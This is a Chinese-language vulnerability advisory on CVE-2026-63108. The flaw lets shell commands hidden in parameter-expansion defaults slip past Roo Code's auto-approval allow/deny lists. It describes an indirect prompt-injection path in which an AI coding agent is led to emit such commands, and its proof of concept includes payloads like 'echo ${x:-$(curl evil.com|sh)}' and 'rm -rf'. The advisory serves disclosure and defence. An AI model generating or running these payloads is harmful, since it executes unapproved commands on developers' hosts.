首页 网络安全 正文

Roo Code 3.54.0命令注入CVE-2026-63108

摘要

栋科技漏洞库关注到Roo Code 3.54.0 通过参数扩展解析进行命令注入漏洞,漏洞现已被追踪为CVE-2026-63108,CVSS 4.0评分7.5。

Roo Code是开源免费的VS Code AI编程代理插件,相当于内置编辑器的完整AI开发团队,支持本地私有化运行,原生兼容 MCP 协议。

一、基本情况

Roo Code原生对接 Model Context Protocol,可接入网页检索、数据库查询、本地知识库工具,大幅拓展 AI 开发能力边界Roo Code。

Roo Code 3.54.0命令注入CVE-2026-63108

Roo Code本地VS Code插件适合单人开发,非常适合全栈项目开发、老旧代码重构、线上 Bug 批量修复、本地私有化 AI 编码工作流。

栋科技漏洞库关注到Roo Code 3.54.0 通过参数扩展解析进行命令注入漏洞,漏洞现已被追踪为CVE-2026-63108,CVSS 4.0评分7.5。

二、漏洞分析

CVE-2026-63108是Roo Code自动执行批准功能命令注入漏洞,可将命令替换语法嵌套在参数扩展默认值内,绕过黑白名单校验机制。

该漏洞源于parse-command.ts 中的命令解析器会先将参数扩展替换为无意义占位符,再提取命令替换内容,

导致安全检测函数 containsDangerousSubstitution 无法识别嵌套的恶意载荷。

程序仅根据外层处于白名单的命令前缀自动放行整条语句,最终通过 execa 拉起Shell执行内嵌恶意代码,实现任意命令执行。

(一)漏洞概要

开启「始终批准执行」功能时,Roo Code 会自动放行AI代理生成的Shell命令,并通过黑白名单限制可执行指令。

程序命令解析器处理顺序存在逻辑缺陷:先将 ${...} 变量参数扩展替换为占位符,之后才解析 $()、反引号    子命令替换。

因此,藏在参数扩展默认值中的恶意子命令(示例:echo ${x:-$(curl evil.com|sh)})不会被单独拆分、不会经过黑白名单校验;

程序仅识别外层合法的echo命令并自动放行。最终Bash原生解析参数扩展内容,执行夹带的恶意代码。

该漏洞已在 getCommandDecision、parseCommand 两个核心函数中验证属实。

(二)漏洞详细原理

在文件 src/shared/parse-command.ts 中,parseCommandLine 函数执行逻辑:

1. 第76行左右:优先把 ${...} 参数扩展替换为 __PARAM_n__ 占位符;

2. 第101~109行:完成参数替换后,才解析 $()、反引号包裹的子Shell命令。

嵌套在 ${...} 默认值内的子命令会被整体封装进占位符,无法被识别为独立子命令。

后续 getCommandDecision(src/core/auto-approval/commands.ts)仅识别外层 echo ${...},匹配白名单内允许echo,判定自动放行。

专用安全检测函数 containsDangerousSubstitution(commands.ts 第22行)存在检测盲区:

仅校验转义字符与少量特定扩展语法,完全不识别 ${...} 内部的 $()、反引号危险语法。

命令最终通过 execa({ shell: ... }) 拉起Shell进程执行,由Shell完整解析所有参数扩展与内嵌子命令。

(三)该漏洞突破了自动审批黑白名单安全防护

真实攻击路径为间接提示注入:

AI代理读取不可信外部内容(本地文件、网页、代码仓库、MCP接口返回数据),

被诱导生成 [白名单允许指令] ${x:-$(黑名单禁止命令>)} 格式代码,无需用户确认自动执行。

三、POC概念验证

引入项目源码 getCommandDecision(src/core/auto-approval/commands.ts)、parseCommand(src/shared/parse-command.ts),

(一)依赖shell-quote库完成复现:

typescript
// poc.ts - 安装项目依赖后运行(基于vitest/ts-node环境)
import { getCommandDecision } from "./src/core/auto-approval/commands";
// 配置规则:仅允许echo,禁止touch、rm、curl
const opts = { allowedCommands: ["echo"], deniedCommands: ["touch", "rm", "curl"] };

// 批量测试各类命令
for (const cmd of [
  'echo $(touch /tmp/x)',                 // 对照组:自动拒绝
  'echo hi; rm -rf x',                    // 对照组:自动拒绝
  'echo hello',                           // 对照组:自动放行
  'echo ${x:-$(touch /tmp/ROO_PWNED)}',   // 漏洞绕过:本应拒绝却自动放行
  'echo ${x:=$(curl evil.com)}',          // 漏洞绕过:自动放行
  'echo "${x:-curl evil.com}"',         // 漏洞绕过:自动放行
]) console.log(cmd, "=>", getCommandDecision(cmd, opts));

(二)验证输出结果

${x:-$(...)} 参数扩展包裹子Shell,命令分割逻辑无法识别内层touch、curl等黑名单指令,黑名单完全失效:

echo $(touch /tmp/x)                      -> auto_deny     对照组,正常拦截
echo hi; rm -rf x                         -> auto_deny     对照组,正常拦截
echo hello                                -> auto_approve  对照组,正常放行
echo ${x:-$(touch /tmp/ROO_PWNED)}        -> auto_approve  漏洞绕过,理应拦截却放行
echo ${x:=$(curl evil.com)}               -> auto_approve  漏洞绕过
echo "${x:-curl evil.com}"              -> auto_approve  漏洞绕过

(三)Bash原生语法验证内嵌命令可执行

bash
bash -c 'echo ${x:-$(touch /tmp/roobash && echo INNER_RAN)}'

执行后输出INNER_RAN,同时生成 /tmp/roobash 文件,证明被黑名单拦截的touch命令可成功执行。

(四)漏洞危害

黑名单禁止、未登记的恶意命令隐藏在参数扩展默认值中,可绕过校验自动执行,黑白名单安全机制完全失效。

攻击者利用间接提示注入,能够以AI代理自动运行权限,在开发者本地主机上执行任意未授权系统命令。

(五)修复方案

1、优先解析校验所有命令替换语法($()、反引号),

再处理 ${...} 参数扩展;递归解析 ${x:-...}${x:=...}${x/.../...} 等参数扩展内部内容,检测内嵌子命令。

2、扩充 containsDangerousSubstitution 检测规则:只要 ${...} 内部存在 $( 或反引号,直接阻断命令执行(失败关闭策略)。

3、新增单元测试,覆盖参数扩展内嵌子命令的各类绕过场景。

四、影响范围

Roo Code ≤ 3.54.0

五、修复建议

Roo Code > 3.54.0

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接